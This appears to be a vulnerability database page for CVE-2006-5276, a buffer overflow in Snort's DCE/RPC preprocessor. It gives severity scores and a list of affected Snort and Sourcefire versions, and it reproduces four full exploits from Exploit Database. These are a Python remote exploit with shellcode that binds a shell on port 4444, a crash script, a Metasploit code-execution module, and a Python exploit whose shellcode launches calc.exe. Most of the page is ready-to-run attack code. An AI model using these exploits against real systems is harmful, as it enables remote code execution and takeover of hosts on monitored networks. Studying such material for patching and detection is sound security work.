Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 3609
Publication date : 2007-03-29 22h00 +00:00
Author : Winny Thomas
EDB Verified : Yes
#!/usr/bin/python
#
# Remote exploit for Snort DCE/RPC preprocessor vulnerability as described in
# CVE-2006-5276. The exploit binds a shell to TCP port 4444 and connects to it.
# This code was tested against snort-2.6.1 running on Red Hat Linux 8
#
# Author shall bear no responsibility for any screw ups caused by using this code
# Winny Thomas :-)
import os
import sys
import time
from scapy import *
# Linux portbind shellcode; Binds shell on TCP port 4444
shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
shellcode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
shellcode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
shellcode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
shellcode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
shellcode += "\x89\xe1\xcd\x80"
def ExploitSnort(target):
# SMB packet borrowed from http://www.milw0rm.com/exploits/3391
# NetBIOS Session Service
smbreq = "\x00\x00\x02\xab"
# SMB Header
smbreq += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
smbreq += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
smbreq += "\x00\x08\x30\x00"
# Tree Connect AndX Request
smbreq += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
smbreq += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
smbreq += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
smbreq += "\x3f\x3f\x3f\x3f\x3f\x00"
# NT Create AndX Request
smbreq += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
smbreq += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
smbreq += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
smbreq += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
smbreq += "\x63\x00\x00\x00"
# Write AndX Request #1
smbreq += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
smbreq += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
smbreq += "\x05\x00\x0b\x03\x10\x00\x00\x00\x10\x02\x00\x00\x01\x00\x00\x00"
smbreq += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
smbreq += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
smbreq += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
smbreq += "\x2b\x10\x48\x60\x02\x00\x00\x00"
# Write AndX Request #2
smbreq += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
smbreq += "\x00\x48\x00\x00\x00\xff\x01\xce\x01\x00\x00\x00\x00\x49\x00\xee"
smbreq += "\xed\x1e\x94\x7c\x90\x81\xc4\xff\xef\xff\xff\x44"
smbreq += "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa9"
# The following address overwrites RET and points into our shellcode
smbreq += struct.pack('<L', 0xbfffeff0)
smbreq += '\x90' * 50
smbreq += shellcode
smbreq += '\x90' * 130
packet = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / smbreq
send(packet)
def ConnectRemoteShell(target):
connect = '/usr/bin/telnet ' + target + ' 4444'
os.system(connect)
if __name__ == '__main__':
try:
target = sys.argv[1]
except IndexError:
print 'Usage: %s <ip of a host on snort network>' % sys.argv[0]
sys.exit(-1)
print '[+] Sending malformed SMB packet'
ExploitSnort(target)
print '[+] Connecting to remote shell in 3 seconds...'
time.sleep(3)
ConnectRemoteShell(target)
# milw0rm.com [2007-03-30]
Exploit Database EDB-ID : 3362
Publication date : 2007-02-22 23h00 +00:00
Author : Trirat Puttaraksa
EDB Verified : Yes
#!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (DoS)
#
# Author: Trirat Puttaraksa <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution
# may be possible, but I have no time to make it :(
# I will post the information about this vulnerability in my blog soon
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/)
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################
import sys
from scapy import *
from struct import pack
conf.verb = 0
# NetBIOS Session Service
payload = "\x00\x00\x01\xa6"
# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"
# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"
# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"
# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"
# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"
payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"
if len(sys.argv) != 2:
print "Usage snort_dos_dcerpc.py <fake destination ip>"
sys.exit(1)
target = sys.argv[1]
p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)
# milw0rm.com [2007-02-23]
Exploit Database EDB-ID : 18723
Publication date : 2012-04-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Capture
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Snort 2 DCE/RPC preprocessor Buffer Overflow',
'Description' => %q{
This module allows remote attackers to execute arbitrary code by exploiting the
Snort service via crafted SMB traffic. The vulnerability is due to a boundary
error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
which may result a stack-based buffer overflow with a specially crafted packet
sent on a network that is monitored by Snort.
Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.
Any host on the Snort network may be used as the remote host. The remote host does not
need to be running the SMB service for the exploit to be successful.
},
'Author' =>
[
'Neel Mehta', #Original discovery (IBM X-Force)
'Trirat Puttaraksa', #POC
'Carsten Maartmann-Moe <carsten[at]carmaa.com>', #Metasploit win
'0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '32094' ],
[ 'CVE', '2006-5276' ],
[ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],
[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[
'Windows Universal',
{
'Platform' => 'win',
'Ret' => 0x00407c01, # JMP ESP snort.exe
'Offset' => 289, # The number of bytes before overwrite
'Padding' => 0
}
],
[
'Redhat 8',
{
'Platform' => 'linux',
'Ret' => 0xbffff110,
'Offset' => 317,
'Padding' => 28
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Feb 19 2007',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(139),
OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]),
OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
], self.class)
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
end
def exploit
open_pcap
shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)
p = buildpacket(shost, rhost, rport.to_i)
print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")
capture_sendto(p, rhost)
handler
end
def buildpacket(shost, rhost, rport)
p = PacketFu::TCPPacket.new
p.ip_saddr = shost
p.ip_daddr = rhost
p.tcp_dport = rport
p.tcp_flags.psh = 1
p.tcp_flags.ack = 1
# SMB packet borrowed from http://exploit-db.com/exploits/3362
# NetBIOS Session Service, value is the number of bytes in the TCP segment,
# must be greater than the total size of the payload. Statically set.
header = "\x00\x00\xde\xad"
# SMB Header
header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
header << "\x00\x08\x30\x00"
# Tree Connect AndX Request
header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
header << "\x3f\x3f\x3f\x3f\x3f\x00"
# NT Create AndX Request
header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
header << "\x63\x00\x00\x00"
# Write AndX Request #1
header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
header << "\x2b\x10\x48\x60\x02\x00\x00\x00"
# Write AndX Request #2
header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
header << "\x00\x48\x00\x00\x00\xff\x01"
tail = "\x00\x00\x00\x00\x49\x00\xee"
# Return address
eip = [target['Ret']].pack('V')
# Sploit
sploit = make_nops(10)
sploit << payload.encoded
# Padding (to pass size check)
sploit << make_nops(1)
# The size to be included in Write AndX Request #2, including sploit payload
requestsize = [(sploit.size() + target['Offset'])].pack('v')
# Assemble the parts into one package
p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit
p.recalc
p
end
end
Exploit Database EDB-ID : 3391
Publication date : 2007-02-28 23h00 +00:00
Author : Trirat Puttaraksa
EDB Verified : Yes
#!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (Command Execution Version)
#
# Author: Trirat Puttaraksa <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit call calc.exe on Windows XP SP2 + Snort 2.6.1
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/)
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################
import sys
from scapy import *
from struct import pack
conf.verb = 0
# NetBIOS Session Service
payload = "\x00\x00\x02\xab"
# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"
# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"
# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"
# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
#payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x10\x02\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"
# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\xce\x01\x00\x00\x00\x00\x49\x00\xee"
# 0x7c941eed -> jmp esp; make stack happy; windows/exec calc.exe (metasploit.com)
payload += "\xed\x1e\x94\x7c\x90\x81\xc4\xff\xef\xff\xff\x44"
payload += "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa9"
payload += "\xd1\x80\xf5\x83\xeb\xfc\xe2\xf4\x55\x39\xc4\xf5\xa9\xd1\x0b\xb0"
payload += "\x95\x5a\xfc\xf0\xd1\xd0\x6f\x7e\xe6\xc9\x0b\xaa\x89\xd0\x6b\xbc"
payload += "\x22\xe5\x0b\xf4\x47\xe0\x40\x6c\x05\x55\x40\x81\xae\x10\x4a\xf8"
payload += "\xa8\x13\x6b\x01\x92\x85\xa4\xf1\xdc\x34\x0b\xaa\x8d\xd0\x6b\x93"
payload += "\x22\xdd\xcb\x7e\xf6\xcd\x81\x1e\x22\xcd\x0b\xf4\x42\x58\xdc\xd1"
payload += "\xad\x12\xb1\x35\xcd\x5a\xc0\xc5\x2c\x11\xf8\xf9\x22\x91\x8c\x7e"
payload += "\xd9\xcd\x2d\x7e\xc1\xd9\x6b\xfc\x22\x51\x30\xf5\xa9\xd1\x0b\x9d"
payload += "\x95\x8e\xb1\x03\xc9\x87\x09\x0d\x2a\x11\xfb\xa5\xc1\xaf\x58\x17"
payload += "\xda\xb9\x18\x0b\x23\xdf\xd7\x0a\x4e\xb2\xe1\x99\xca\xff\xe5\x8d"
payload += "\xcc\xd1\x80\xf5"
payload += "\x90" # padding
if len(sys.argv) != 2:
print "Usage snort_execute_dcerpc.py <fake destination ip>"
sys.exit(1)
target = sys.argv[1]
p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)
# milw0rm.com [2007-03-01]
Products Mentioned
Configuraton 0
Snort>>Snort >> Version To (including) 2.6.1.2
Snort>>Snort >> Version 2.6.1
Snort>>Snort >> Version 2.6.1.1
Snort>>Snort >> Version 2.7_beta1
Sourcefire>>Intrusion_sensor >> Version 4.1
Sourcefire>>Intrusion_sensor >> Version 4.1
Sourcefire>>Intrusion_sensor >> Version 4.5
Sourcefire>>Intrusion_sensor >> Version 4.5
Sourcefire>>Intrusion_sensor >> Version 4.6
Sourcefire>>Intrusion_sensor >> Version 4.6
References